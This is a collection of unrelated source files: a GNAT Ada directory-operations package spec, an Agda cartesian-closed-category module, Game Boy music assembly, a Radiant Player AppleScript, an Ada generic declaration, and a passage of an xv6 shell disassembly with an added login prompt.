with Ada.Strings.Maps;
package GNAT.Directory_Operations is
subtype Dir_Name_Str is String;
-- A subtype used in this package to represent string values that are
-- directory names. A directory name is a prefix for files that appear
-- with in the directory. This means that for UNIX systems, the string
-- includes a final '/', and for DOS-like systems, it includes a final
-- '\' character. It can also include drive letters if the operating
-- system provides for this. The final '/' or '\' in a Dir_Name_Str is
-- optional when passed as a procedure or function in parameter.
type Dir_Type is limited private;
-- A value used to reference a directory. Conceptually this value includes
-- the identity of the directory, and a sequential position within it.
Null_Dir : constant Dir_Type;
-- Represent the value for an uninitialized or closed directory
Directory_Error : exception;
-- Exception raised if the directory cannot be opened, read, closed,
-- created or if it is not possible to change the current execution
-- environment directory.
Dir_Separator : constant Character;
-- Running system default directory separator
--------------------------------
-- Basic Directory operations --
--------------------------------
procedure Change_Dir (Dir_Name : Dir_Name_Str);
-- Changes the working directory of the current execution environment
-- to the directory named by Dir_Name. Raises Directory_Error if Dir_Name
-- does not exist.
procedure Make_Dir (Dir_Name : Dir_Name_Str);
-- Create a new directory named Dir_Name. Raises Directory_Error if
-- Dir_Name cannot be created.
procedure Remove_Dir
(Dir_Name : Dir_Name_Str;
Recursive : Boolean := False);
-- Remove the directory named Dir_Name. If Recursive is set to True, then
-- Remove_Dir removes all the subdirectories and files that are in
-- Dir_Name. Raises Directory_Error if Dir_Name cannot be removed.
function Get_Current_Dir return Dir_Name_Str;
-- Returns the current working directory for the execution environment
procedure Get_Current_Dir (Dir : out Dir_Name_Str; Last : out Natural);
-- Returns the current working directory for the execution environment
-- The name is returned in Dir_Name. Last is the index in Dir_Name such
-- that Dir_Name (Last) is the last character written. If Dir_Name is
-- too small for the directory name, the name will be truncated before
-- being copied to Dir_Name.
-------------------------
-- Pathname Operations --
-------------------------
subtype Path_Name is String;
-- All routines using Path_Name handle both styles (UNIX and DOS) of
-- directory separators (either slash or back slash).
function Dir_Name (Path : Path_Name) return Dir_Name_Str;
-- Returns directory name for Path. This is similar to the UNIX dirname
-- command. Everything after the last directory separator is removed. If
-- there is no directory separator the current working directory is
-- returned. Note that the contents of Path is case-sensitive on
-- systems that have case-sensitive file names (like Unix), and
-- non-case-sensitive on systems where the file system is also non-
-- case-sensitive (such as Windows).
function Base_Name
(Path : Path_Name;
Suffix : String := "") return String;
-- Any directory prefix is removed. A directory prefix is defined as
-- text up to and including the last directory separator character in
-- the input string. In addition if Path ends with the string given for
-- Suffix, then it is also removed. Note that Suffix here can be an
-- arbitrary string (it is not required to be a file extension). This
-- is equivalent to the UNIX basename command. The following rule is
-- always true:
--
-- 'Path' and 'Dir_Name (Path) & Dir_Separator & Base_Name (Path)'
-- represent the same file.
--
-- The comparison of Suffix is case-insensitive on systems like Windows
-- where the file search is case-insensitive (e.g. on such systems,
-- Base_Name ("/Users/AdaCore/BB12.patch", ".Patch") returns "BB12").
--
-- Note that the index bounds of the result match the corresponding indexes
-- in the Path string (you cannot assume that the lower bound of the
-- returned string is one).
function File_Extension (Path : Path_Name) return String;
-- Return the file extension. This is defined as the string after the
-- last dot, including the dot itself. For example, if the file name
-- is "file1.xyz.adq", then the returned value would be ".adq". If no
-- dot is present in the file name, or the last character of the file
-- name is a dot, then the null string is returned.
function File_Name (Path : Path_Name) return String;
-- Returns the file name and the file extension if present. It removes all
-- path information. This is equivalent to Base_Name with default Extension
-- value.
type Path_Style is (UNIX, DOS, System_Default);
function Format_Pathname
(Path : Path_Name;
Style : Path_Style := System_Default) return Path_Name;
-- Removes all double directory separator and converts all '\' to '/' if
-- Style is UNIX and converts all '/' to '\' if Style is set to DOS. This
-- function will help to provide a consistent naming scheme running for
-- different environments. If style is set to System_Default the routine
-- will use the default directory separator on the running environment.
--
-- The Style argument indicates the syntax to be used for path names:
--
-- DOS
-- Use '\' as the directory separator (default on Windows)
--
-- UNIX
-- Use '/' as the directory separator (default on all other systems)
--
-- System_Default
-- Use the default style for the current system
type Environment_Style is (UNIX, DOS, Both, System_Default);
function Expand_Path
(Path : Path_Name;
Mode : Environment_Style := System_Default) return Path_Name;
-- Returns Path with environment variables replaced by the current
-- environment variable value. For example, $HOME/mydir will be replaced
-- by /home/joe/mydir if $HOME environment variable is set to /home/joe and
-- Mode is UNIX. If an environment variable does not exist the variable
-- will be replaced by the empty string. Two dollar or percent signs are
-- replaced by a single dollar/percent sign. Note that a variable must
-- start with a letter.
--
-- The Mode argument indicates the recognized syntax for environment
-- variables as follows:
--
-- UNIX
-- Environment variables use $ as prefix and can use curly brackets
-- as in ${HOME}/mydir. If there is no closing curly bracket for an
-- opening one then no translation is done, so for example ${VAR/toto
-- is returned as ${VAR/toto. The use of {} brackets is required if
-- the environment variable name contains other than alphanumeric
-- characters.
--
-- DOS
-- Environment variables uses % as prefix and suffix (e.g. %HOME%/dir).
-- The name DOS refer to "DOS-like" environment. This includes all
-- Windows systems.
--
-- Both
-- Recognize both forms described above.
--
-- System_Default
-- Uses either DOS on Windows, and UNIX on all other systems, depending
-- on the running environment.
---------------
-- Iterators --
---------------
procedure Open (Dir : out Dir_Type; Dir_Name : Dir_Name_Str);
-- Opens the directory named by Dir_Name and returns a Dir_Type value
-- that refers to this directory, and is positioned at the first entry.
-- Raises Directory_Error if Dir_Name cannot be accessed. In that case
-- Dir will be set to Null_Dir.
procedure Close (Dir : in out Dir_Type);
-- Closes the directory stream referred to by Dir. After calling Close
-- Is_Open will return False. Dir will be set to Null_Dir.
-- Raises Directory_Error if Dir has not be opened (Dir = Null_Dir).
function Is_Open (Dir : Dir_Type) return Boolean;
-- Returns True if Dir is open, or False otherwise
procedure Read
(Dir : Dir_Type;
Str : out String;
Last : out Natural);
-- Reads the next entry from the directory and sets Str to the name
-- of that entry. Last is the index in Str such that Str (Last) is the
-- last character written. Last is 0 when there are no more files in the
-- directory. If Str is too small for the file name, the file name will
-- be truncated before being copied to Str. The list of files returned
-- includes directories in systems providing a hierarchical directory
-- structure, including . (the current directory) and .. (the parent
-- directory) in systems providing these entries. The directory is
-- returned in target-OS form. Raises Directory_Error if Dir has not
-- be opened (Dir = Null_Dir).
function Read_Is_Thread_Safe return Boolean;
-- Indicates if procedure Read is thread safe. On systems where the
-- target system supports this functionality, Read is thread safe,
-- and this function returns True (e.g. this will be the case on any
-- UNIX or UNIX-like system providing a correct implementation of the
-- function readdir_r). If the system cannot provide a thread safe
-- implementation of Read, then this function returns False.
private
type Dir_Type_Value is new System.Address;
-- Low-level address directory structure as returned by opendir in C
type Dir_Type is access Dir_Type_Value;
Null_Dir : constant Dir_Type := null;
pragma Import (C, Dir_Separator, "__gnat_dir_separator");
Dir_Seps : constant Ada.Strings.Maps.Character_Set :=
Ada.Strings.Maps.To_Set ("/\");
-- UNIX and DOS style directory separators
end GNAT.Directory_Operations;
|
Internal.agda | elpinal/exsub-ccc | 3 | 11447 | open import Categories.Category
open import Categories.Category.CartesianClosed
{-
The internal language of a given cartesian closed category.
-}
module Internal {o ℓ e} (𝒞 : Category o ℓ e)
(cartesianClosed : CartesianClosed 𝒞) where
open import Relation.Binary using (Rel)
open import Data.Product using (Σ-syntax; _,_)
open import Level
open import Syntax
open import Theory
open import Categories.Category.Cartesian 𝒞
open import Categories.Category.BinaryProducts 𝒞
open import Categories.Object.Terminal 𝒞
open Category 𝒞
open CartesianClosed cartesianClosed
open Cartesian cartesian
open BinaryProducts products
module T = Terminal terminal
module _ where
open PType Obj
data F : Set (o ⊔ ℓ) where
Inherit : forall {A B : Obj} -> A ⇒ B -> F
I : Type -> F
J : Type -> F
-- The same as ⟦_⟧T in Semantics.agda.
⟦_⟧T′ : Type -> Obj
⟦ ⌊ A ⌋ ⟧T′ = A
⟦ Unit ⟧T′ = T.⊤
⟦ A * A₁ ⟧T′ = ⟦ A ⟧T′ × ⟦ A₁ ⟧T′
⟦ A => A₁ ⟧T′ = ⟦ A ⟧T′ ⇨ ⟦ A₁ ⟧T′
sorting : F -> Sorting
sorting (Inherit {A} {B} f) = record { dom = ⌊ A ⌋ ; cod = ⌊ B ⌋ }
sorting (I A) = record { dom = ⌊ ⟦ A ⟧T′ ⌋ ; cod = A }
sorting (J A) = record { dom = A ; cod = ⌊ ⟦ A ⟧T′ ⌋ }
Sg : Signature o (o ⊔ ℓ)
Sg = record { Gr = Obj ; Func = F ; sorting = sorting }
open Signature Sg
open Term Sg
open import Semantics 𝒞 cartesianClosed Sg
open I (λ x → x)
i : forall (A : Type) -> (⟦ ⌊ ⟦ A ⟧T′ ⌋ ⟧T) ⇒ (⟦ A ⟧T)
j : forall (A : Type) -> (⟦ A ⟧T) ⇒ (⟦ ⌊ ⟦ A ⟧T′ ⌋ ⟧T)
i ⌊ A ⌋ = Category.id 𝒞
i Unit = Category.id 𝒞
i (A * A₁) = (i A) ⁂ (i A₁)
i (A => A₁) = λg (i A₁ ∘ (eval′ ∘ (Category.id 𝒞 ⁂ j A)))
j ⌊ A ⌋ = Category.id 𝒞
j Unit = Category.id 𝒞
j (A * A₁) = j A ⁂ j A₁
j (A => A₁) = λg ((j A₁ ∘ (eval′ ∘ (Category.id 𝒞 ⁂ i A))))
S : Structure
S = record { ⟦_⟧G = λ x → x ; ⟦_⟧F = λ { (Inherit f) → f ; (I A) → i A ; (J A) → j A} }
open Structure S
data Ax (Γ : Context) (A : Type) : Rel (Γ ⊢ A) (o ⊔ ℓ ⊔ e) where
E : forall {e₁ e₂} -> ⟦ e₁ ⟧ ≈ ⟦ e₂ ⟧ -> Ax Γ A e₁ e₂
Th : Theory o (o ⊔ ℓ) (o ⊔ ℓ ⊔ e)
Th = record { Sg = Sg ; Ax = Ax }
M : Model 𝒞 cartesianClosed Th
M = S , λ { (E x) → x}
|
audio/music/cherrygrovecity.asm | Dev727/ancientplatinum | 28 | 85128 | <reponame>Dev727/ancientplatinum
Music_CherrygroveCity:
musicheader 4, 1, Music_CherrygroveCity_Ch1
musicheader 1, 2, Music_CherrygroveCity_Ch2
musicheader 1, 3, Music_CherrygroveCity_Ch3
musicheader 1, 4, Music_CherrygroveCity_Ch4
Music_CherrygroveCity_Ch1:
tempo 152
volume $77
dutycycle $3
tone $0001
vibrato $8, $15
stereopanning $f0
notetype $c, $b5
note __, 10
octave 3
note C_, 2
note D_, 2
note E_, 2
Music_CherrygroveCity_branch_f5b26:
note A_, 4
note G#, 2
note A_, 2
note A#, 2
note A_, 2
note G_, 2
note F_, 2
note A_, 6
note F_, 2
note C_, 2
octave 2
note A#, 2
octave 3
note C_, 2
note E_, 2
note G_, 4
note F#, 2
note G_, 2
note A_, 2
note G_, 2
note F_, 2
note E_, 2
note G_, 6
note E_, 2
note C_, 2
octave 2
note A#, 2
note A_, 2
octave 3
note C_, 2
intensity $b7
octave 2
note A#, 6
octave 3
note D_, 6
note A#, 4
note A_, 6
note F_, 2
note C_, 8
octave 2
note A#, 6
octave 3
note D_, 6
intensity $b5
note A_, 4
note G_, 4
note E_, 4
note D_, 4
note E_, 4
octave 2
note A#, 6
octave 3
note D_, 6
note A#, 4
note A_, 6
note F_, 2
note C_, 4
octave 2
note B_, 4
note A#, 6
octave 3
note C#, 2
octave 2
note A#, 4
note G_, 4
note A_, 4
octave 3
note C_, 4
octave 2
note A_, 4
octave 3
note C_, 4
loopchannel 0, Music_CherrygroveCity_branch_f5b26
Music_CherrygroveCity_Ch2:
dutycycle $3
vibrato $10, $36
stereopanning $f
notetype $c, $c3
octave 3
note C_, 2
note D_, 2
note E_, 2
note D_, 2
note E_, 2
note G_, 2
note A_, 2
note A#, 2
Music_CherrygroveCity_branch_f5b87:
intensity $c6
octave 4
note C_, 6
note D_, 4
intensity $b3
note D_, 2
note C_, 2
octave 3
note A#, 2
intensity $c7
octave 4
note C_, 6
octave 3
note A_, 2
note F_, 8
intensity $c6
note A#, 6
octave 4
note C_, 4
intensity $b3
note C_, 2
octave 3
note A#, 2
note A_, 2
intensity $c7
note A#, 6
note G_, 2
note E_, 8
intensity $a0
note D_, 6
note F_, 6
octave 4
note D_, 4
note C_, 6
intensity $a5
octave 3
note A_, 2
intensity $c7
note F_, 8
intensity $a0
note D_, 6
note F_, 6
octave 4
note D_, 4
intensity $c7
note C_, 16
intensity $b5
octave 3
note D_, 6
note F_, 6
octave 4
note D_, 4
note C_, 6
octave 3
note A_, 2
note F_, 8
note C#, 6
note F_, 6
note G_, 4
intensity $a0
note F_, 8
intensity $a7
note F_, 8
loopchannel 0, Music_CherrygroveCity_branch_f5b87
Music_CherrygroveCity_Ch3:
notetype $c, $16
note __, 4
octave 4
note C_, 2
octave 3
note A#, 2
note A_, 2
note G_, 2
note F_, 2
note E_, 2
Music_CherrygroveCity_branch_f5be4:
note A_, 2
note F_, 2
note A_, 2
octave 4
note C_, 4
octave 3
note F_, 2
note G_, 2
note A_, 2
note A_, 2
note F_, 2
note A_, 2
octave 4
note C_, 4
octave 3
note F_, 2
note G_, 2
note A_, 2
note A#, 2
note G_, 2
note A#, 2
octave 4
note C_, 4
octave 3
note F_, 2
note G_, 2
note A_, 2
note A#, 4
octave 4
note C_, 2
octave 3
note A#, 2
note A_, 2
note G_, 2
note F_, 2
note E_, 2
note D_, 2
note F_, 4
note A#, 2
note F_, 2
note A#, 2
note A_, 2
note G_, 2
note F_, 2
note A_, 4
note F_, 2
note A_, 2
note F_, 2
note E_, 2
note D#, 2
note D_, 2
note F_, 4
note A#, 2
note F_, 2
note A#, 2
note A_, 2
note G_, 2
note E_, 2
note G_, 2
note A#, 2
octave 4
note C_, 2
octave 3
note A#, 2
note A_, 2
note G_, 2
note F_, 2
note D_, 2
note F_, 4
note A#, 2
note F_, 2
note A#, 2
note A_, 2
note G_, 2
note F_, 2
note A_, 4
note F_, 2
note A_, 2
note F_, 2
note E_, 2
note D#, 2
note C#, 2
note F_, 4
note A#, 2
note F_, 2
note A#, 2
note A_, 2
note G_, 2
note F_, 2
note A_, 2
note F_, 2
note A_, 2
note F_, 2
note A_, 2
note F_, 2
note A_, 2
loopchannel 0, Music_CherrygroveCity_branch_f5be4
Music_CherrygroveCity_Ch4:
togglenoise $3
notetype $c
note __, 16
Music_CherrygroveCity_branch_f5c4d:
note C#, 2
note __, 2
note G_, 2
note C#, 2
note C#, 2
note F#, 2
note C#, 4
note C#, 2
note __, 2
note G_, 2
note C#, 1
note C#, 1
note F#, 4
note C#, 2
note G_, 2
loopchannel 0, Music_CherrygroveCity_branch_f5c4d
|
applescripts/radiant.scpt | bryantebeek/dotfiles | 0 | 3677 | if application "Radiant Player" is running then
tell application "Radiant Player"
set theName to current song name
set theArtist to current song artist
set theState to player state
try
if theState equals 2 then
return "♫ " & theName & " - " & theArtist & " "
end if
on error err
end try
end tell
end if
|
Task/Function-definition/Ada/function-definition-4.ada | LaudateCorpus1/RosettaCodeData | 1 | 15983 | generic
type Number is digits <>;
function Multiply (A, B : Number) return Number;
|
sh.asm | younger15/xv6-public | 0 | 179059 | <reponame>younger15/xv6-public<filename>sh.asm
_sh: file format elf32-i386
Disassembly of section .text:
00000000 <main>:
return 0;
}
int
main(void)
{
0: 8d 4c 24 04 lea 0x4(%esp),%ecx
4: 83 e4 f0 and $0xfffffff0,%esp
7: ff 71 fc pushl -0x4(%ecx)
a: 55 push %ebp
b: 89 e5 mov %esp,%ebp
d: 56 push %esi
e: 53 push %ebx
f: 51 push %ecx
10: 81 ec 8c 00 00 00 sub $0x8c,%esp
static char buf[100];
int fd;
// Ensure that three file descriptors are open.
while((fd = open("console", O_RDWR)) >= 0){
16: eb 11 jmp 29 <main+0x29>
18: 90 nop
19: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
if(fd >= 3){
20: 83 f8 02 cmp $0x2,%eax
23: 0f 8f 3b 01 00 00 jg 164 <main+0x164>
{
static char buf[100];
int fd;
// Ensure that three file descriptors are open.
while((fd = open("console", O_RDWR)) >= 0){
29: 83 ec 08 sub $0x8,%esp
2c: 6a 02 push $0x2
2e: 68 1f 15 00 00 push $0x151f
33: e8 ba 0f 00 00 call ff2 <open>
38: 83 c4 10 add $0x10,%esp
3b: 85 c0 test %eax,%eax
3d: 79 e1 jns 20 <main+0x20>
}
}
// Login process
static int isLogin = 0;
if (isLogin == 0)
3f: 8b 0d 44 1c 00 00 mov 0x1c44,%ecx
45: 85 c9 test %ecx,%ecx
47: 0f 85 9a 00 00 00 jne e7 <main+0xe7>
4d: 8d b5 68 ff ff ff lea -0x98(%ebp),%esi
53: 8d 5d a8 lea -0x58(%ebp),%ebx
56: 8d 76 00 lea 0x0(%esi),%esi
59: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
{
char name[64];
char password[64];
do
{
printf(1,"Please enter your user name & password.\n");
60: 83 ec 08 sub $0x8,%esp
63: 68 a4 15 00 00 push $0x15a4
68: 6a 01 push $0x1
6a: e8 b1 10 00 00 call 1120 <printf>
printf(1,"User name: ");
6f: 5a pop %edx
70: 59 pop %ecx
71: 68 27 15 00 00 push $0x1527
76: 6a 01 push $0x1
78: e8 a3 10 00 00 call 1120 <printf>
gets(name,sizeof(name));
7d: 58 pop %eax
7e: 5a pop %edx
7f: 6a 40 push $0x40
81: 56 push %esi
82: e8 f9 0d 00 00 call e80 <gets>
printf(1,"Password: ");
87: 59 pop %ecx
88: 58 pop %eax
89: 68 33 15 00 00 push $0x1533
8e: 6a 01 push $0x1
90: e8 8b 10 00 00 call 1120 <printf>
gets(password,sizeof(password));
95: 58 pop %eax
96: 5a pop %edx
97: 6a 40 push $0x40
99: 53 push %ebx
9a: e8 e1 0d 00 00 call e80 <gets>
} while (cu(3,name,password) != 1);
9f: 83 c4 0c add $0xc,%esp
a2: 53 push %ebx
a3: 56 push %esi
a4: 6a 03 push $0x3
a6: e8 b5 0a 00 00 call b60 <cu>
ab: 83 c4 10 add $0x10,%esp
ae: 83 f8 01 cmp $0x1,%eax
b1: 75 ad jne 60 <main+0x60>
isLogin = 1;
b3: c7 05 44 1c 00 00 01 movl $0x1,0x1c44
ba: 00 00 00
bd: eb 28 jmp e7 <main+0xe7>
bf: 90 nop
}
*/
// Read and run input commands.
while(getcmd(buf, sizeof(buf)) >= 0){
if(buf[0] == 'c' && buf[1] == 'd' && buf[2] == ' '){
c0: 80 3d e2 1b 00 00 20 cmpb $0x20,0x1be2
c7: 74 5d je 126 <main+0x126>
c9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
int
fork1(void)
{
int pid;
pid = fork();
d0: e8 d5 0e 00 00 call faa <fork>
if(pid == -1)
d5: 83 f8 ff cmp $0xffffffff,%eax
d8: 74 3f je 119 <main+0x119>
buf[strlen(buf)-1] = 0; // chop \n
if(chdir(buf+3) < 0)
printf(2, "cannot cd %s\n", buf+3);
continue;
}
if(fork1() == 0)
da: 85 c0 test %eax,%eax
dc: 0f 84 98 00 00 00 je 17a <main+0x17a>
runcmd(parsecmd(buf));
wait();
e2: e8 d3 0e 00 00 call fba <wait>
wait();
}
*/
// Read and run input commands.
while(getcmd(buf, sizeof(buf)) >= 0){
e7: 83 ec 08 sub $0x8,%esp
ea: 6a 64 push $0x64
ec: 68 e0 1b 00 00 push $0x1be0
f1: e8 9a 00 00 00 call 190 <getcmd>
f6: 83 c4 10 add $0x10,%esp
f9: 85 c0 test %eax,%eax
fb: 78 78 js 175 <main+0x175>
if(buf[0] == 'c' && buf[1] == 'd' && buf[2] == ' '){
fd: 80 3d e0 1b 00 00 63 cmpb $0x63,0x1be0
104: 75 ca jne d0 <main+0xd0>
106: 80 3d e1 1b 00 00 64 cmpb $0x64,0x1be1
10d: 74 b1 je c0 <main+0xc0>
int
fork1(void)
{
int pid;
pid = fork();
10f: e8 96 0e 00 00 call faa <fork>
if(pid == -1)
114: 83 f8 ff cmp $0xffffffff,%eax
117: 75 c1 jne da <main+0xda>
panic("fork");
119: 83 ec 0c sub $0xc,%esp
11c: 68 6a 14 00 00 push $0x146a
121: e8 ba 00 00 00 call 1e0 <panic>
// Read and run input commands.
while(getcmd(buf, sizeof(buf)) >= 0){
if(buf[0] == 'c' && buf[1] == 'd' && buf[2] == ' '){
// Chdir must be called by the parent, not the child.
buf[strlen(buf)-1] = 0; // chop \n
126: 83 ec 0c sub $0xc,%esp
129: 68 e0 1b 00 00 push $0x1be0
12e: e8 bd 0c 00 00 call df0 <strlen>
if(chdir(buf+3) < 0)
133: c7 04 24 e3 1b 00 00 movl $0x1be3,(%esp)
// Read and run input commands.
while(getcmd(buf, sizeof(buf)) >= 0){
if(buf[0] == 'c' && buf[1] == 'd' && buf[2] == ' '){
// Chdir must be called by the parent, not the child.
buf[strlen(buf)-1] = 0; // chop \n
13a: c6 80 df 1b 00 00 00 movb $0x0,0x1bdf(%eax)
if(chdir(buf+3) < 0)
141: e8 dc 0e 00 00 call 1022 <chdir>
146: 83 c4 10 add $0x10,%esp
149: 85 c0 test %eax,%eax
14b: 79 9a jns e7 <main+0xe7>
printf(2, "cannot cd %s\n", buf+3);
14d: 50 push %eax
14e: 68 e3 1b 00 00 push $0x1be3
153: 68 3e 15 00 00 push $0x153e
158: 6a 02 push $0x2
15a: e8 c1 0f 00 00 call 1120 <printf>
15f: 83 c4 10 add $0x10,%esp
162: eb 83 jmp e7 <main+0xe7>
int fd;
// Ensure that three file descriptors are open.
while((fd = open("console", O_RDWR)) >= 0){
if(fd >= 3){
close(fd);
164: 83 ec 0c sub $0xc,%esp
167: 50 push %eax
168: e8 6d 0e 00 00 call fda <close>
break;
16d: 83 c4 10 add $0x10,%esp
170: e9 ca fe ff ff jmp 3f <main+0x3f>
}
if(fork1() == 0)
runcmd(parsecmd(buf));
wait();
}
exit();
175: e8 38 0e 00 00 call fb2 <exit>
if(chdir(buf+3) < 0)
printf(2, "cannot cd %s\n", buf+3);
continue;
}
if(fork1() == 0)
runcmd(parsecmd(buf));
17a: 83 ec 0c sub $0xc,%esp
17d: 68 e0 1b 00 00 push $0x1be0
182: e8 69 09 00 00 call af0 <parsecmd>
187: 89 04 24 mov %eax,(%esp)
18a: e8 71 00 00 00 call 200 <runcmd>
18f: 90 nop
00000190 <getcmd>:
exit();
}
int
getcmd(char *buf, int nbuf)
{
190: 55 push %ebp
191: 89 e5 mov %esp,%ebp
193: 56 push %esi
194: 53 push %ebx
195: 8b 75 0c mov 0xc(%ebp),%esi
198: 8b 5d 08 mov 0x8(%ebp),%ebx
getUser();
19b: e8 ca 0e 00 00 call 106a <getUser>
printf(2, "$ ");//output for shell
1a0: 83 ec 08 sub $0x8,%esp
1a3: 68 40 14 00 00 push $0x1440
1a8: 6a 02 push $0x2
1aa: e8 71 0f 00 00 call 1120 <printf>
memset(buf, 0, nbuf);
1af: 83 c4 0c add $0xc,%esp
1b2: 56 push %esi
1b3: 6a 00 push $0x0
1b5: 53 push %ebx
1b6: e8 65 0c 00 00 call e20 <memset>
gets(buf, nbuf);
1bb: 58 pop %eax
1bc: 5a pop %edx
1bd: 56 push %esi
1be: 53 push %ebx
1bf: e8 bc 0c 00 00 call e80 <gets>
1c4: 83 c4 10 add $0x10,%esp
1c7: 31 c0 xor %eax,%eax
1c9: 80 3b 00 cmpb $0x0,(%ebx)
1cc: 0f 94 c0 sete %al
if(buf[0] == 0) // EOF
return -1;
return 0;
}
1cf: 8d 65 f8 lea -0x8(%ebp),%esp
1d2: f7 d8 neg %eax
1d4: 5b pop %ebx
1d5: 5e pop %esi
1d6: 5d pop %ebp
1d7: c3 ret
1d8: 90 nop
1d9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
000001e0 <panic>:
exit();
}
void
panic(char *s)
{
1e0: 55 push %ebp
1e1: 89 e5 mov %esp,%ebp
1e3: 83 ec 0c sub $0xc,%esp
printf(2, "%s\n", s);
1e6: ff 75 08 pushl 0x8(%ebp)
1e9: 68 dd 14 00 00 push $0x14dd
1ee: 6a 02 push $0x2
1f0: e8 2b 0f 00 00 call 1120 <printf>
exit();
1f5: e8 b8 0d 00 00 call fb2 <exit>
1fa: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
00000200 <runcmd>:
struct cmd *parsecmd(char*);
// Execute cmd. Never returns.
void
runcmd(struct cmd *cmd)
{
200: 55 push %ebp
201: 89 e5 mov %esp,%ebp
203: 53 push %ebx
204: 83 ec 14 sub $0x14,%esp
207: 8b 5d 08 mov 0x8(%ebp),%ebx
struct execcmd *ecmd;
struct listcmd *lcmd;
struct pipecmd *pcmd;
struct redircmd *rcmd;
if(cmd == 0)
20a: 85 db test %ebx,%ebx
20c: 74 76 je 284 <runcmd+0x84>
exit();
switch(cmd->type){
20e: 83 3b 05 cmpl $0x5,(%ebx)
211: 0f 87 f8 00 00 00 ja 30f <runcmd+0x10f>
217: 8b 03 mov (%ebx),%eax
219: ff 24 85 4c 15 00 00 jmp *0x154c(,%eax,4)
runcmd(lcmd->right);
break;
case PIPE:
pcmd = (struct pipecmd*)cmd;
if(pipe(p) < 0)
220: 8d 45 f0 lea -0x10(%ebp),%eax
223: 83 ec 0c sub $0xc,%esp
226: 50 push %eax
227: e8 96 0d 00 00 call fc2 <pipe>
22c: 83 c4 10 add $0x10,%esp
22f: 85 c0 test %eax,%eax
231: 0f 88 07 01 00 00 js 33e <runcmd+0x13e>
int
fork1(void)
{
int pid;
pid = fork();
237: e8 6e 0d 00 00 call faa <fork>
if(pid == -1)
23c: 83 f8 ff cmp $0xffffffff,%eax
23f: 0f 84 d7 00 00 00 je 31c <runcmd+0x11c>
case PIPE:
pcmd = (struct pipecmd*)cmd;
if(pipe(p) < 0)
panic("pipe");
if(fork1() == 0){
245: 85 c0 test %eax,%eax
247: 0f 84 fe 00 00 00 je 34b <runcmd+0x14b>
int
fork1(void)
{
int pid;
pid = fork();
24d: e8 58 0d 00 00 call faa <fork>
if(pid == -1)
252: 83 f8 ff cmp $0xffffffff,%eax
255: 0f 84 c1 00 00 00 je 31c <runcmd+0x11c>
dup(p[1]);
close(p[0]);
close(p[1]);
runcmd(pcmd->left);
}
if(fork1() == 0){
25b: 85 c0 test %eax,%eax
25d: 0f 84 16 01 00 00 je 379 <runcmd+0x179>
dup(p[0]);
close(p[0]);
close(p[1]);
runcmd(pcmd->right);
}
close(p[0]);
263: 83 ec 0c sub $0xc,%esp
266: ff 75 f0 pushl -0x10(%ebp)
269: e8 6c 0d 00 00 call fda <close>
close(p[1]);
26e: 58 pop %eax
26f: ff 75 f4 pushl -0xc(%ebp)
272: e8 63 0d 00 00 call fda <close>
wait();
277: e8 3e 0d 00 00 call fba <wait>
wait();
27c: e8 39 0d 00 00 call fba <wait>
break;
281: 83 c4 10 add $0x10,%esp
struct listcmd *lcmd;
struct pipecmd *pcmd;
struct redircmd *rcmd;
if(cmd == 0)
exit();
284: e8 29 0d 00 00 call fb2 <exit>
int
fork1(void)
{
int pid;
pid = fork();
289: e8 1c 0d 00 00 call faa <fork>
if(pid == -1)
28e: 83 f8 ff cmp $0xffffffff,%eax
291: 0f 84 85 00 00 00 je 31c <runcmd+0x11c>
wait();
break;
case BACK:
bcmd = (struct backcmd*)cmd;
if(fork1() == 0)
297: 85 c0 test %eax,%eax
299: 75 e9 jne 284 <runcmd+0x84>
29b: eb 49 jmp 2e6 <runcmd+0xe6>
default:
panic("runcmd");
case EXEC:
ecmd = (struct execcmd*)cmd;
if(ecmd->argv[0] == 0)
29d: 8b 43 04 mov 0x4(%ebx),%eax
2a0: 85 c0 test %eax,%eax
2a2: 74 e0 je 284 <runcmd+0x84>
exit();
exec(ecmd->argv[0], ecmd->argv);
2a4: 52 push %edx
2a5: 52 push %edx
2a6: 8d 53 04 lea 0x4(%ebx),%edx
2a9: 52 push %edx
2aa: 50 push %eax
2ab: e8 3a 0d 00 00 call fea <exec>
printf(2, "exec %s failed\n", ecmd->argv[0]);
2b0: 83 c4 0c add $0xc,%esp
2b3: ff 73 04 pushl 0x4(%ebx)
2b6: 68 4a 14 00 00 push $0x144a
2bb: 6a 02 push $0x2
2bd: e8 5e 0e 00 00 call 1120 <printf>
break;
2c2: 83 c4 10 add $0x10,%esp
2c5: eb bd jmp 284 <runcmd+0x84>
case REDIR:
rcmd = (struct redircmd*)cmd;
close(rcmd->fd);
2c7: 83 ec 0c sub $0xc,%esp
2ca: ff 73 14 pushl 0x14(%ebx)
2cd: e8 08 0d 00 00 call fda <close>
if(open(rcmd->file, rcmd->mode) < 0){
2d2: 59 pop %ecx
2d3: 58 pop %eax
2d4: ff 73 10 pushl 0x10(%ebx)
2d7: ff 73 08 pushl 0x8(%ebx)
2da: e8 13 0d 00 00 call ff2 <open>
2df: 83 c4 10 add $0x10,%esp
2e2: 85 c0 test %eax,%eax
2e4: 78 43 js 329 <runcmd+0x129>
break;
case BACK:
bcmd = (struct backcmd*)cmd;
if(fork1() == 0)
runcmd(bcmd->cmd);
2e6: 83 ec 0c sub $0xc,%esp
2e9: ff 73 04 pushl 0x4(%ebx)
2ec: e8 0f ff ff ff call 200 <runcmd>
int
fork1(void)
{
int pid;
pid = fork();
2f1: e8 b4 0c 00 00 call faa <fork>
if(pid == -1)
2f6: 83 f8 ff cmp $0xffffffff,%eax
2f9: 74 21 je 31c <runcmd+0x11c>
runcmd(rcmd->cmd);
break;
case LIST:
lcmd = (struct listcmd*)cmd;
if(fork1() == 0)
2fb: 85 c0 test %eax,%eax
2fd: 74 e7 je 2e6 <runcmd+0xe6>
runcmd(lcmd->left);
wait();
2ff: e8 b6 0c 00 00 call fba <wait>
runcmd(lcmd->right);
304: 83 ec 0c sub $0xc,%esp
307: ff 73 08 pushl 0x8(%ebx)
30a: e8 f1 fe ff ff call 200 <runcmd>
if(cmd == 0)
exit();
switch(cmd->type){
default:
panic("runcmd");
30f: 83 ec 0c sub $0xc,%esp
312: 68 43 14 00 00 push $0x1443
317: e8 c4 fe ff ff call 1e0 <panic>
{
int pid;
pid = fork();
if(pid == -1)
panic("fork");
